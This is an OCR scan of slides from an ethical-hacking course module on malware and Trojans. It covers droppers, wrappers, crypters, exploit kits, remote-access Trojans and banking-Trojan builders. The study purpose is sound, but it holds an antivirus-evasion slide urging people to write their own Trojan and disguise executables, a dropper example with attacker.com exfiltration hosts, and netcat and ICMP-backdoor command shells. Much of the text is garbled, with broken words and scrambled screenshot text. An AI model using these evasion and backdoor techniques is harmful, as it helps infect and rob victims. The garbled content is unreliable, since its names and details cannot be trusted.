Malware Threats

Module 06

Unmask the Invisible Hacker.




Module Objectives CIEH
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Introduction to Malware and Understanding the Malware
Malware Propagation Techniques Analysis Process

Overview of Trojans, Their Types,

Understanding Different Techniques
and How to Infect Systems

to Detect Malware

Overview of Viruses, Their Types,

and How They Infect Files Malware Countermeasures

Overview of Malware Penetration

Introduction to Computer :
Testing

Worm
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Introduction Trojan Virus and Worm Malware Reverse
to Malware Concepts Concepts Engineering
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- = A

Malware Counter- Anti-Malware Penetration
Detection measures Software Testing
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Introduction to Vialware | ( E__I:_l

Cortified § Exhical

Malware is a malicious software that damages or disables computer
systems and gives limited or full control of the systems to the
malware creator for the purpose of theft or fraud

Examples of Malware

Trojan Horse Virus

Backdoor

RootkKit

Ransomware

Adware

Feduction is Strictly Prohibited.




Different Ways a Malware can

C|EH

Get into a System i

Instant Messenger applications Browser and email software bugs

IRC (Internet Relay Chat) NetBIOS (FileSharing)

Removable devices Fake programs

T —

Untrusted sites and freeware

Attachments
software
R — f

Legitimate "shrink-wrapped" software Downloading files, games, and
packaged by a disgruntled employee screensavers from Internet sites

— e —
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Common Techniques Attackers Use ClEN
to Distribute Malware on the Web ] ik e

Blackhat Search Engine
Optimization (SEO)

Ranking malware pages highly in search
results

Malvertising

Embedding malware in ad-networks that
display across hundreds of legitimate, high-
traffic sites

Compromised
Legitimate Websites

Hosting embedded malware that spreads
to unsuspecting visitors

Social Engineered
Click-jacking

Tricking users into clicking on innocent-
looking webpages

Spearphishing Sites

Mimicking legitimate institutions in an
attempt to steal login credentials

Drive-by Downloads

Exploiting flaws in browser software to
install malware just by visiting a web page

Source: Security Threat Repart [http i www. sophos.con)

Copyright © by EG-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.




Module Flow CIEH

Cortified § Evhical Haecher

(]
|

Introduction Virus and Worm Malware Reverse
to Malware Concepts Engineering

==

Malware Counter- Anti-Malware Penetration
Detection measures Software Testing
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Financial Loss Due to Trojans | C|EH
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According to the Symantec Survey 2014 report, nearly every flavor of financial
institution is targeted, from commercial banks to credit unions

Canada
142K

USA
970K

Gerﬁany
278K

_.'.-\.--

Australia .'
114K

hittp/fwww symarnter. com
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How Hackers Use Trojans

HaCkRhInO-TeaM

T replace operating
system’s critical files

Generate fake traffic Create backdoors

to create DOS attacks to gain remote access E@
@

Record screenshots, Infect victim’s PC as
audio, and video of a proxy server for
victim’s PC relaying attacks

Use victim’s PC for spamming Use victim's PCas a
and blasting email botnet to perform
messages DDoS attacks

- security codes, cre
information using keylogg
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HaCkRhInO-TeaM

Common Ports used by Trojans

 Port Trojan
—

Blade Runner, Doly Trojan, Fore,
Invisible FTP, WebEx, WinCrash

Shaft
Tiny Telnet Server

m Hackers Paradize

Executor

TCP Wirappers Trojan

Hackers Paradise

Antigen, Email Password Sender,
Terminator, WinPC, WinSpy,

YOuR SeCuiTy iS NOt EnOUgh

wE FrEE t0 FIY

Trojan
FTPOOCMP
Shivka-Burka
SpySender
=S Shockrave
BackDoor 1.00-1.03
200- Trojan Cow

B8 pipper
TR sues
ﬂ The Invasor

m Nusion Mailer, Nirvana

m Imi-Killer, Phase Zero, Stealth Spy m Masters Paradise

"~ satanz Backdoor

Silencer, WebEx

Daly Trojan

-. = RAT

m Psyber Stream Server, Voice

L:l!tnrs Trojan
SubSeven 10-18

m The Invasor
WinCrash
PSR File Nail 1
ICOTrojan

Trojan

Robo-Hack
DeepThroat

GateCrasher, Priority

Remote Grab

| NetMonitor

ICKiller

| BackOfrice 2000

Paortal of Doom

iNi-Killer

| Comal09

Senna Spy

| Priority

Millennium

HaCkRhInO-TeaM

CEH

Coriifbed B Evhical Hascher

Trojan

GirlFriend 1.0, Beta-1.35
Prosiak

Evil FTP, Ugly FTP

Delta
MNetSphere 1.27a

Back Orifice, DeepBO

ety O

BOWhack

Prosiak

The Spy
Masters Paradise

Remote Windows
Shutdown

Telecommando

e i " NetBus 2.0, Beta- Beci
S0 2 d@de Runner | 5 = MNetBus 201 65000 L=
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How to Infect Systems Using a
Trojan

01 Create a new Trojan packet using a Trojan Horse Construction Kit

02 Create a dropper, which is a part in a trojanized packet that installs the malicious
code on the target system

"\\
(e Example of a Dropper

installation path: c\windows\system32\svchosts.exe
Autostart: HEIM\ Software\Mic .. .\run\Iexplorer.exe

Malicious code

Client address: client.attacker.com
Dropzone: dropzone.attacker.com

Attacker Malicious Code A genuine application Wrapper

File name: chess.exe
Wrapper data: Executable file
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How to Infect Systems Using a

CEH

Trojan (Contd) sl i

03 Create a wrapper using wrapper tools to install Trojan on the victim's computer
04 Propagate the Trojan
05  Execute the dropper

06 Execute the damage routine

-E"ﬁrﬂpper
: dropsthe
wy TTOjan
v L

Attacker E - ' ' Trojan code execution

Victim's System
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Wrappers CEH

Coriifbed B Evhical Hascher

he =E,IEET runs the g .

. Chess.exe 74 Trojan.exe
File size: 90K

File size: 20K

"
-
&)

The two programs are

wrapped together into
== a single file

Chess.exe
File size: 110K
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Dark Horse Trojan Virus Maker

(=DarkHorse Trojan Virus Maker 1.2)

Client Name

Trojan Virus Maker

B Webcam Streaming B Eroken Mouse B Hot Computer Wirus Warnings

B ~udio Streaming B Hide Desktop icons [l Overloaded Files Slow Down Computer Speed
B crazy Mouse B ++CCvirus B Hot Machine

B Lock Window Live B #C Virus B Remove Documents
B slock All Websites B Flocd Large Files B Gemove Videos

B Dizable Desktop lcons B Flood Control Error - [ Remove Music

Disable 5tart Button
Disable Task Manager
Disable CMD

Disable Morton Antivirus

B Remove Desktop Background [l Memory User B EBeeping Noise Disable Avg Internet Security

B Disable Administration B Disable Process B eroken Keyboard Store Wirus

Trojan Force
B shutDown Computer (1 Minute)

Show Code Text

Mame: |

. Restart Computer (1 Minute)

B LogOff Computer {1 Minute) Create As Text File
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Crypters: AIO IF'UD Crypter, Hidden ClEH
Sight Crypter, and Galaxy Crypter ] ik e

Crypter is a software which is used by hackers to hide viruses, keyloggers or tools
in any kind of file so that they do not easily get detected by antiviruses

AlO FUD l Hidden Sight | Galaxy

Crypter Crypter

Aln
Crypter
Binder
Extensian Spoofer
Obfuscater
['.'lcl"a.'rlh:l-ﬂder
Icon Changer

Bitcoin Miner
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Crypters: Criogenic Crypter,
Heaven Crypter, and SwayzCryptor

Criogenic

Featres: - Obfuscation

Coded By: LethaiHackz Coded In: VB.NET
GFX By: LethalHacks GFX: PSCS55
Visit by Youhube

Copyright © by EE-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.




How Attackers Deploy a Trojan

Major Trojan Attack Paths:

Al e w e Eage dppmiae Seler MEI-IITRET - Lm|dge FELL o i

. & Userclicks on the malicious link
.m (TS TS Opimag uﬂ

| bim ppe Siew Uiy, e ph T 010 TR0 A4 |
= [PEEE

Dt R s e vt 2 User opens malicious email attachments

Apple Store

:IIIIII.II. ca||1._m“r_APFLE ll'llI.lllIlllllllllllll.lll.llllllIIIlllll.lll.:

The Trojan connects to =
Oear Cusiomer Link to Trojan Server : the attack server

T vidnal thie oSt up-10-date STAINS S0 mpleChaognLls your
Apple Onling Shors trded, wisll onbing you "

Teou com alio contact Apple Store Cavtomer Service at | -B00-676-3775 o vank calme foc
mege mfemahon

Attacker sends an email
to victim containing link

dr Crnima Siom f porchaes Aspie hadwure, nafmarte, BvE Bbad-party FEcoaeer 1 4

Er phane, plasrs <t § 000 MY ARLE to Trojan server

|{-lllll-ll-llIll-l-lllll-ll-llIll-l-ll!'ll'l AREERRRS AR RN RN R RN

R R T R E R R R R AR R

Victim clicks the link and
immediately connects to
Trojan server in Russia

Victim Attacker

Internet

sampsnssnaf

Attacker installs
the Trojan infecting = i : |
his machine - Trojan Server
T e v OO S SO (Russia)

Trojan is sent to the victim
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An exploit kit or crimeware toolkit is a platform to deliver exploits and payloads such as Trojans,
spywares, backdoors, bots, buffer overflow scripts, etc. on the target system

Legitimate
Visits website hosted on
legitimate website ' : compromised web server

B TSERsEEEEsEEEEEEE R R R . == EEmsEEEEEER TR AN E AR R R R e R

sesssrmsssmsEnsanmas i

— H—

Legitimate G go Compromised
Website ; i Web Server

Exploit kit gathers
Victim 2 . information on the victim e
and delivers the exploit

Victim lands at a exploit
kit server hosting the

} " exploit pack landing Exploit Kit  Exploit Pack
Page Server Landing Page

Copyright © by EG-Gammeil. All Rights Reserved. Reproduction is Strictly Prohibited.




Exploit Kit: Infinity

Coainfimity

MononHeHws Ganadca

Npuussarme: R sendce (cecer 2
Cyuu: B |5
W A nopisepmmash, wio CoREpmLD JakHeE EpEEL,

Mmoot Genatc

dafn
MoToKH
Onnata

THxeThl

Afdpeca

a conpepe: T - Axvovor N ©anaec 05

Hz ceppepe T oo [ oo Eeereacd B3

Mpobee

snpeca agmese iy - -
Comrastupnr. (N ——
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Exploit Kits: Phoenix Exploit Kit
and Blackhole Exploit Kit

Phoenix Exploit Kit Blackhole Exploit Kit

¥ Phoenix Exploit's Kit

3.1 full

abearced browser thetics
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Explmt KltS' Bleedmgllfe and
Cnmepack

BLEEDINGLIFE 2.

SECURITY SETTINGS EXPLOIT SETTINGS

Admiba Uysrname:

Crimepack

SHVE SETTINGS

SCANLYOU ACCOUNT

__njL‘-f-pwight & by EC-Gomncil. All Rig ht&_ﬁ;'ﬁ%ﬁéﬁ.‘:ﬂg Emd uction is Strictly Prn!:rii:ite:i.
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Evadmg}lntl-VIrus Techmques C E H

.- fuil&l Eshical Hacker

Break the Trojan file into multiple pieces and zip them as
single file

ALWAYS write your own Trojan, and embed it into an application

Change Trojan’s syntax:
® Convert an EXE to VB script
& Change .EXE extension to .DOC.EXE, .PPT.EXE or .PDE.EXE (Windows hide
“known extensions”, by default, so it shows up only .DOC, .PPT and .PDF)

Change the content of the Trojan using hex editor and also change
the checksum and encrypt the file

| = Never use Trojans downloaded from the web (antivirus can detect
2 I these easily)

-'r.:-m.rr ght @ by EC-Councll. All Rights Hn.*spr\rmf Hepfn yduction is Strictly Pr.ntri;:;fte::i
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Types of Trojans CIEH
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AEEEw iy EmEEy ARy aEEEE
e Tug. ot L L ey oo Ll e ¥,
L ¥ L
* »* - » »
4 & *
ﬁ. - k. . J .

ICMP "Data Hiding™, + Destructive
Trojan Trojan Trojan

-
o ma
*

L) P
»

Trojan

* -
Traganet®
AR mEy
- ¥
s
LT L
‘..I."- l-..
L ITTY L
N,

(RTEETRY

Botnet Proxy
Trojan Server Trojan

s
L

Wk

LR AN L LS
‘.-' Tay L *a.* Sl ¥y

ey LR LY
3 i ..n‘ *r.' vt Ty
LA o . *

K . & . (N + “4" . ) “4‘. ; . b, a"‘" '-t*“
Defacement » ¢ E-banking Covert _ i ¢ Notification”, + Mobile Command
Trojan ] Trojan hannel Trojan

Trojan Trojan : Shell Trojan

L i P o L)
) ® w -
- *, o e
oy e
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Command Shell Trojans

J Command shell Trojan gives remote control =
e . ; - | C:yvsnc . exe —h
of a command shell on a victim’s machine [v1.10 WT]

SomewheTe nc [-options] bostoame port[s] [ports] ...
inbomnd - ne -1 -p port [options] [hostoam=] [port]

, s S
- Trojan server is installed on the victim's R B el e

machine, which opens a port for attackerto | | e T e

connect: The clientis installed on the | e e gt B S M
¥ - . . 1 i delay interval for lines sent, ports scanmed
attacker's machine, which is used to launch listen mode, for inhound commects
listen harder, re-listen on socket close

a command shell on the victim’s machine _ mumeric-only IP addresses, no DNS
: hex domp of toaffic

—

‘.—_.._--—_-,._
L
'-.i'

C:> nc <ip> <port>

-p <pprt>
exe
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Defacement Trojans ClEH
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Original calc.exe

_Resource editors allow to view, edit, extract, and replace View Edit  Help
strings, bitmaps, logos and icons from any Window program

It allows you to view and edit almost any aspect of a
compiled Windows program, from the menus to the dialog
boxes to the icons and beyond

0 3 ~ They apply User-styled Custom Applications (UCA) to
deface Windows application

Example of caic.exe Defaced is shown here

Defaced calc.exe
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Defacement Trojans: Restorator C|EH

Coriifbed B Evhical Hascher

File Resources Viewer Edit Tools Help

Pl -HAEARLS| - HS M+ 3O R

Resowce Viewsr | Fle Brovezes

&) Uniitled0.res 1h
4 [5) Uriiked! rc .
PR i:m:p ' ﬁﬂ";ﬁ 7] Shove Tooltips [delaul]
e na o Sllow rraiitiple Fetlorato mstances
[l:)ebi"”t“ Buider Farmns E‘E-h-aw splash sorecn on shat
chal I':'d: Dﬂﬂﬁ_ || Keep Restorator Window abvays on top
e egration V] Ak for Folder, when sssigning/estracting & [defaul]
Test Editor Numbet of recently used files in fle mer;
Fiie Browser 10 e
RC Files N
A Mumbet of recenthy found Fles e file mermc
o0 &

-

Bitmap'\A\English (United States) Empty Resource 2 open files
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Botnet Trojans CIEH
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. Botnet Trojans infect a large number of computers across a large
geographical area to create a network of bots that is controlled through a
’ Command and Control (C&C) center

- Botnet is used to launch various attacks on a victim including denial-of-
service attacks, spamming, click fraud, and the theft of financial information

Company
Website

Botnet C&C
Server
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Tor-based Botnet Trojans:
ChewBacca

ChewBacca
= ChewBacca =
ChewBacca Trojan has stolen data

on 49,000 payment cards from

45 retailers in 11 countries over
a two month span

Copyright © by EE-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.




Botnet Trojans: Skynet and
CyberGate

Dashboard
W Caehtgard Ml Pasin € Wirkes @) A
L wigelalad oi 1 bsday, T80 & ML SR a8 BLCNE B4

B Recent work submissions B Recent failed work submissions

@ Worker status

Wodked | Ladi vk veguicil

Gaaek by Thm Bk

CpoerSaia

Copyright © by EE-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhIn0O-TeaM wE FrEE t0 FIY HaCkRhIn0-TeaM

. Proxy Server Trojans CEH
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Trojan Proxy is usually a standalone application that
allows remote attackers to use the victim’s computer
as a proxy to connect to the Internet

Proxy server Trojan, when infected, starts a hidden
proxy server on the victim’s computer

A\ Thousands of machines on the Internet are infected
‘ with proxy servers using this technique

Attacker Victim [Proxied) Internet

Copyright © by E6-Gamncil. All Rights Reserved. Reproduction is Strictly Prohibited.
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Proxy Server Trojan: W3bPrOxy
Tr0j4nCrx34t0xr (Funny Name)

W3bPrOxy TrOj4n is a proxy server Trojan which support multi
connection from many clients and report IP and ports to mail
of the Trojan owner

Copyright © by EE-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.




Send me

c:\crediteard. txt file

R T L T T T P T TR T

LELEEs 2

Here is the requested file

FTP Trojans install an FTP server
on Ihawn:t m's machine, which

An attaclrﬁ' can then connect to
the victim’s machine unmg FTP
port to download any files that
exist on the victim's computer

FTP Server

Voluws in drive C has no labad .

Volums Sarisl Mumbar i DISE-SFEE Diresctery of Ol

(FTP Server 06f02 /2014 1,024 .rnd

installed in the D9/DE/I014 O sha, txt
08/24/2014 <DIR> Adventat

background) 08/21/2014 0 ADPTOEXEC. BAT
05/21 /2014 0 COMFIG,STS
06/04,/2014 <DIR> Dats
08/11/2014 <DIR> Documents and

FTP Trojan: TinyF'TPD

Command Prompt

C:\Docoments and Settings'Adwin\Desktop'\TioyPTPO 21 55555 best test e:) &

win9d =11 BWLCD

Tioy FTFOD V1.4 By WinBguilrop
PFTP Server Is Starbted
ControlFPort: 21

BimdPoort - 55555

UserHome - test

Password: b=t

HomeDir: o \windE
Allowd IP: all

Local Address: 192 .168.168.16
Beadicorzs: Yex
WriteAccess: Yes
LIstArce=sx: Yex
Createfccess - Yes
Deletefccess: Yex
Bexrcotefroess - Yex
Inlockfccess: Ho
Anomymonsiccess: Ho

Check Time Dot Theead Created Soccessfally
FEFEXEFXAAELEAY Waiting PFor New Connection *F*dirsrtekises
0 Coomection Is In Use

Copyright © by EE-Gamneil. All Rights Reserved. Reproduction is
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VNC Trojans

VNC Trojan starts a VNC Server daemon
in the infected system (victim)

Attacker connects to the victim using any
VNC viewer

Since VNC program is considered a utility, this
Trojan will be difficult to detect using anti-viruses

Command and
contrel instruction

WNC Traffic

VNL Server

Copyright © by EB-Cauneil All Rights Reservad. Raproduction is Strictly Prohibitad.




VNC Trojan: Hesperbot ClEH

Cortified § Evhical Haecher

. Hesperbot is a banking Trojan which features common functionalities, such as
keystroke logging, creation of screenshots and video capture, and setting up a
remote proxy

It creates a hidden VNC server to which the attacker can remotely connect

. As VNC does not log the user off like RDP, the attacker can connect to the
unsuspecting victim’s computer while they are working

=

%‘j?ff | > ==

l Core |

--J

I‘—

Scam Email f Count of sections 4 | Machi e
- Explorer.exe : symbol table 00000000 [00H00000] Thu 08 11:07:54 2013
= § Size of opticnal header Magic i
: Linker version 9. 05 version ;

Image version ‘ Subsystem version
Entry paint Size of coda

= . [ Size of init data Size of uninit data
v 0 Size of image Size of header
s -— Base of code Base of data

image base Subsystem

................................).I ‘ I \ mm meﬂ%luﬂumfg_m Eﬂe alignment
| (

{

Checksum 00000000 | Number of dirs

Zasilka.pdf.exe Dropper
(packed binary)

CEEETRE
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HTTP/HTTPS Trojans CEH

Bypass
Firewall

Spawn a
Child Program

Access the
internet

Lertifbed Erhical Hasthar

HTTP Trojans can bypass any firewall and work in the.

They are executed on the internal host and spawn a
child at a predetermined time

The child program appears to be a user to the firewall
so it is allowed to access the Internet

Copyright © by EE-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.
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e LB o by 20mbie
- -._,_..__j ¥

latest wersion herer | [hitpcd frsenst amd™ sombiel|

sallings
¥ pand netificston with ip sddiess ta mal

SMTP s £ sondng mal
U Can speciy sevedal servers delimiled with

;.J:'_i._'_..l mw._'...a_n.i'- s 'E'".‘u.'!
your i Acdreds:

I}-.-}é[-m e

[ close Fuehw/ake

tarver poit B0

| Creaa Ew

A
Generates -

Servar.axa
using HTTP RAT :

Attacker

-

P T AT

-

Cortified § Evhical Haecher

Infect the victim's computer with

server axe and plant HTTP Trojan

---.-.--.u...".“....n....:.........,}r

The Trojan sends an email

with the location of an IP address @
: Connect to the IP address

using a browser to port 80

Displays ads, records personal
data/keystrokes

Downloads unsolicited files, disables
programs/system

Floods Internet connection, and
distributes threats

Tracks browsing activities and hijacks
Internet browser

Makes fraudulent claims about spyware
detection and removal

Copyright © by EG-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.




Shttpd Trojan - HTTPS (SSL) | C|EH

Coriifbed B Evhical Hascher

SHTTPD is a small HTTP Server that can be embedded inside any program

It can be wrapped with a genuine program (game chess . exe), when
executed it will turn a computer into an invisible web server

Normally Firewall allows
Attacker you through port 443
IP: 10.0.0.5:443 IP: 10.0.0.8:443

Encrypted Traffic Victim

Connect to the victim using Web Browser Infect the victim’s computer with chess . exe
http://10.0.0.5:443 Shttpd should be running in the background

listening on port 443 (S5L)

Copyright © by EE-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.




ICMP Tunneling

Covert channels are methods in which an attacker can hide the data in
a protocol that is undetectable

They rely on technigues called tunneling, which allow one protocol to
be carried over another protocol

ICMP tunneling uses ICMP echo-request and reply to carry a payload
and stealthily access or control the victim’s machine

TEEY
——mr =

_® (Command: icmpsend | (Command:

icmpsend <victim IP>) bl icmpsrv —install)

[. ‘] ICMP Client ICMP Trojan: == ICMP Server

Command Prompt > i Cnm_m;mc.! Prompt

C:\locuments and SettingsiAdmind stratoc)WINDONS\Desktop', C:\Docoments and Settings\Adedinistrator\WIHHNS\Desktoph,
ICME Backdoor Wind2>icmpsend 127.0.0.1

ICHP Backdoor Win3Z»irmpsre —install
——Welcome to www. hackersfiles net——— Commands =Sclcome to www hackerxfiles net———
——[ ICHMF-Cmd wvl.0 beta,

——[ E-mnil: grizonefhotmail  com are sent using =1 i -
—I 2003/8/15 ICMP protocol Fomnil- gy Nk K o b=
1—- 2003,/8/15
Tzage: icepzemni ResoteTE
Ctxrl+C or Ofg to Doite H/h for help : drmpsre —install <o install services
ICHE-CHOCH Impsrv —romove <to ISmove Services
[http - S /127 0.0 1/ back ewe —ndwin . exe] “Howmload Files. Proanowi tting File _ Soooess !
Parth iz \\system 32> Creating Service _ Soccess !
I iszt] hizst the Process> = B - 1
psl P Sy :t:.‘::-ml'_'l_.ng' T::_: — Pending .. Socress !
Settings\Adwi ni strator FINDONSY, Desktop ICHF  Backdoor
Win32
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Remote Access Trojans C/EH

Cortified § Evhical Haecher

Attacker gains 100% {complete)
access to the system

Jason Attacker Rebecca Victim
Sitting in Russia Infected with RAT Trojan

Infect (Rebecca’s) computer with server.exe
J This Trojan works like a and plant Reverse Connecting Trojan

remote desktop access The Trojan connects to Port 80 to the

4 Hacker gains complete attacker in Russia establishing a reverse

connection
GUI access to the remote

system . Jason, the attacker, has complete control
over Rebecca’s machine
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Remote Access Trojans: clEn
Optix Pro and MoSucker e e

B Server Options - Fus Styff ————————"—"—"—""—""—
Mariagers | FlashkKeyboard Lights | | ShowClock. |
Camminkations ! IW |W

1

= Spy Tools =
I Computer Info Glosa CD I | MUHI.ED!_QM

i—iFet Password |
“Key Logger
1 Client Settings ‘

MoSucker

ShowStartButton | | Monitor > I3 MoSucker 3.0

Sereen/Mots
+ Keyhoard
tCam Captine

| Restore Mouse Bullc | Beap PC Speax [IE : e e —
| H: Egr:: KE;::HL? Disabie Mouse & Keyboard Enable Mouse & | e Cypher Key:  VTXEY 2953 2FYGHHE 16105
- Humaor/Furn Stuf ' - : ! o
i}rﬁ_ngln.al_% | “Set|E Starup Page: | | [__Moti wetms Name:  [ictn |
S Seresn Prnte et i Server Mame(s):  kernal3l, mscOnfig,winexec32, netconfig,

F‘lftﬁ'ﬂﬁ',l'l{!}.‘ Euln.flhatlﬁr“lmltWImltWi
Conneclion-port;: (4288

EiEERE

Language Changes

SR
=5
it

[¥ Prevent same server multi-infections (recommended)
Opt ix Frﬂ F‘ME] [ | : You may select a windows ion (0 assocdabe

with your custom fle extension /s,
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RemoteﬂccessTIOJ ans: oo
BlackHole RAT and SSH -R.A.T":. |

The Client System. . Be warned cauce that shat you do is illegal...

Make display diark

BlackHole RAT

__njL‘-f-pwight & by EC-Gomncil. All Rig ht&_ﬁ;'ﬁ%ﬁféﬁ.‘, i Emd uction is Strictly Prn!:rii:ite:i.




Remote Access Trojans: njRAT
and Xtreme RAT

Xtreme RAT

[Legs] [Buider] [Estngs] [Awgut] cenn

SH. Tl
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Remote Access Trojans: DarkComet clEH
RAT, Pandora RAT, and HellSpy RAT e e

DarkComet RAT

B s | B OniCannect | | J bhatslogs —= Shckt { ot =i w |
_ JL Pandora RAT

o Pandora RAT Clent 2.2 [Beta] / Onine Users : 1

Listen to news port {+ishen) 05, 59 &, | o RAM Lskd Mpcmlnlclm | 1dis

it satibirags

¢ Embedded FTE Chent

L Sarver moduis (657,50 KE) v B3 tirimalet (Quick)

®  Edi server doevwriosder (ZHIE) Fidl mditar {Expart)
About DarkComes-RAT V5.3
A problem ¥ S hedp
Bury VIP Account (onky 208)
Exk the software

ikt v pandier
1T 185.05.08 L
AT 18585 39 Mednsa

=} BropcCimt | By Tremdorercun | Secket [ ot

Ertado P de Tramferences Eukac . 2 l P Suwt Atteck o Live Moriianing

B scaingc:

.

Pty R

it .0 BETA]

s HEUEPY

[-] riteciwebsan caghire sarnia. o

L] et Fovmimm b st H"’ qﬂ ¥ '7

Conlicts:

[ Emal: pesedkon it MO b iR teal on fnrqﬂnﬁmu B 01y

I} et s o a0

Paraiabaacs 5 JOED || Todea kg daesdia sacuradioe

HellSpy RAT
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Remote Access Trojans: ProRat
and Theef

Message | Windows | AN L A8
Tha__ | AdnnfTr_ | ARSI | 5 A Theef

Funny Studf | File Manager

|Exploser Search Files . ;
CortictPane) Regiby | s =] Connect
Shut Down PC| Scieen Shot ( A

Cipboard | KeyLooger . fow I i i - port |6703 | FTP 2068
Give Damage | Passwoids g | 8 Ay ol
R. Downlader Riun .\ | Connect Disconnect

Prinites Services '
Orifine E ditar IPruEn-rnm:ﬁvt
Create I

ProRat
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Remote Access Trojan: clER
Hell Raiser i

Hell Raiser allows an attacker to gain access to the victim system nnd send pictures, p
‘messages, transfer ﬁies to and from the victims system, completely monitor the llictu'm npmm,

¥

- apciaghi asheiniced Hi 2] o et baaman d BLIETI agraisghi s

37 itk Chal merface

& WALTYPRE FACCREAREDE LEHGTH IR » HBRh AL gat swmears et
apid [TreEs Mz ™ |:,l'd-' T GOT HANOEFD XD
mMals

MADE

MALS

MACE

MATE

MALE

dapah | ke e !
- s TaEE RET VIS TIAMGS Wl DWW | LALIMNGH
LRI b ornaRe mvg - “

Vichm's: parameaters

IECOMMECT I addears s | laeathast z DISCONNECT

Staius
Conmmuing Genndtnl

— | g e
Lomgie ol -l:.l:-luﬂr:f; el EnpEly Gaky ranelar |

ihey Ebfma Mibn niwey ool
1 1
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Remote Access Tool: Ateliexr Web

C|EH

Remote Commandey = ==

r
@ Atelier Web Remote Commander (AWRC) allows you to establish a
remote connection to the remote machine without installing any
supporting software on the machine

o T0.00.11 ; Atelier Web Remote Commander 10 (CLASSIC)
Fite: Tools Help

TR Sysinfo Mt ki Fle System Lo and Grouns Ot

{2

| @ rastest v 110% v B Mondens ¢ :':n_l :9;, B - | ,JE }EH{L

Remaote Hast Lizer Name Progress Report
| B, 11 Adrimsiraden 1T 1119 Linakd
: Password
%, Connect Ay Disconnect
ol
el
Bybas By 72288 '-\I;';ﬁ I ".i'a Cormecton Durabom; & Mrases, 449 Sscon

| i § — § |
http:fwwwe atelierweb.com
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Covert Channel Trojan: CCTT | C|EH

Cortified § Exhical

: o ric us: Explni“latinn techniques, creati‘ng
‘the data streams authorized hy a network access control system

——— g U —

It enables attackers to get an external server shell from within the internal network and
vice-versa

S i -ﬂ-—-.--r

TP COR T|POST channe nllowingTCP data streams (SSH, SMTP, POP, 1
nal mmer und a box from within the internal network

- Enccded data
| through HTTP
proxy chain

Firewall

Proxy Chain Target
Services
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E-banking Trojans

4 e-banking Trojans intercept a victim's account information before it is encrypted and sends it to
,&"‘”\ the attacker's Trojan command and control center

ﬁ Y E”HJJ o Itsteals victim's data such as credit card related card no., CVV2, billing details, etc. and transmits
L ' it to remote hackers using email, FTP, IRC, or other methods

Uploads malicious A— Publishes malicious
advertisements [ : advertisements on a legitimate websites

T Yo7 v TSN o S SRR R LR o > I

r‘\-‘ialwa.re Server . Legitimate Websites
. + Victim is
6 Trojan gets downloaded and . directed to
installed in to the victim's system malware server

LCERL R R R TR R AR AL IR LAY ]

User access toa
legitimate website
and clicks on a

Trojan reports as a new bot malicious Ad

-~ Instructs Trojan to track victimi's access to bank account b
lll.lll@lll'I'Il'.llllllIlllllilillﬂhl.llllhllll EEEINE ISR RN ..'.-}':_-I:‘:';-_—'.’t_b_ '::!1"I

Trojan reports victim's activities * LUser -
..lI{IIIII'l!lIl.lIIII'JIIIII‘I.III.IIIII'JII"IIl'llllllll']llllll'l 9 Dlll‘ A

Karransusansnssnpnans

ol
Financial Institution

HTIT 11 Flllllll;

User: Transfer S100
Manipulated value ;
Transfer 51,000

"
N e R Ry B

Command and T Instructs Trojan to manipulate victim’s bank transaction
Control Server

RS RTRELNE RS T

Reports about successful /failed transaction @
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Working of E-banking Trojans | C|/EH

Cortified § Evhical Haecher

TAN 8 Trojan intercepts valid Transaction Authentication Number (TAN)
Grabber entered by a user

It replaces the TAN with a random number that will be rejected by the
bank

Attacker can misuse the intercepted TAN with the user’s login details

HTML Trojan creates fake form fields on e-banking pages

Iinjection It _
Additional fields elicit extra information such as card number and date

b of birth

D

Attacker can use this information to impersonate and compromise
victim's account

Form
Grabber

Trojan analyses POST requests and responses to victim's browser

It compromises the scramble pad authentication

Trojan intercepts scramble pad input as user enters Customer Number
and Personal Access Code
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E-banking Trojan: ZeuS and SpyEye | C|/EH

Coriifbed B Evhical Hascher

The main objective of Zeu$ and SpyEye Trojans is to steal bank and credit card
account information, ftp data, and other sensitive information from infected
computers via web browsers and protected storage

SpyEye can automatically and quickly initiate an online transaction

B+ Zous Control Panei

Buslicer
Conifig and losder biiding
Souroe config file:

CeDoouments and SettngsikokayvashileskoopiTrovano_2eust | Srowse... |

| Edeeoiyg || Bidoorfig || Buldiader |

Codpiat

Loy o onfi et 1 1 CaIUienes A

Settings\ohayashiiDesiiop| Trovara_Teus|Zeutiocdioonfig. bt
wl Find INFO | Statistic ] 4 Settings 5 L

. gm., . i 1o b Creating loader file 'C:\Documenks and
= WS W Grabber {_ﬁ:— Grabber < 'LEt-m:f' : SettngsifohyachiDeskrop| Troyana_Zeusi exe, ..

| .:.I;:E.H - GI‘E&I‘ ﬁfiﬂ%m E0000
keeer _bogs =50000, SO000

v b i ] 200000, GO000

ol _cordigehips (205 142, 10, 2ot webyioig, bin
Gk bpais wrl_compip=hitp:iwhatizmip.comf

Buld succeeded)

Gt Statistic
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E-banking Trojan: Citadel Builder clEH
and Ice IX i) o

o Citadel Builder - o HEN

e % Citadelnf 48

RN LAsle  on =

Current varson Infermation about ackve bat

Vergion: 1.2.5.1 Encryption key:

Budd tene: 19:14: 14 08, 112012 GMT 12345

Signature: BANNED Ice IX

Liogn key: C IF20023408 5 190554 TDE5E 7DF B0FFF i el —

Configuration ] fce X ver, 1.2.6 - “

Source configuarton fie: Bot's settings
C:\sers\John\Downloads \Citadel. 1. 3.5 1-BahEDCitadsd 1. 3.5, SaltegE pat higfivourdomein.conicenBafnderohe
Browse,.. Edit..

Botnel's name: Ly ]
Busid the bat configuration Busld the bot fes procy
Cettng's refrieve tmeout:: | &0

ke ylogoer. processes shani., exe; java, exe Statichc . 10
g time=3 statshcs relreve tmegut: | 1
widen, quality=1 o 4 . [
video.length =500 RC4 encrypiion key: ki y
fie_webimpects =njects. bt
Ec.n-ﬁ:':g tive HTTP impecte... Remowe oertificates || Diesable TOP Server
Owhittps: e, welsfangs. comy
Busld bot
BUILD SUCCEEDED!

Setting's filer | C\isersDobn \Downlosds LT Choose setting's file

Buid bot's setngs

Citadel Builder

Chedk if your PC ks infiected entering 804 enayplion key
RC4 encrypbion kay:
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Destructive Trojans: M4sT3r

CEH
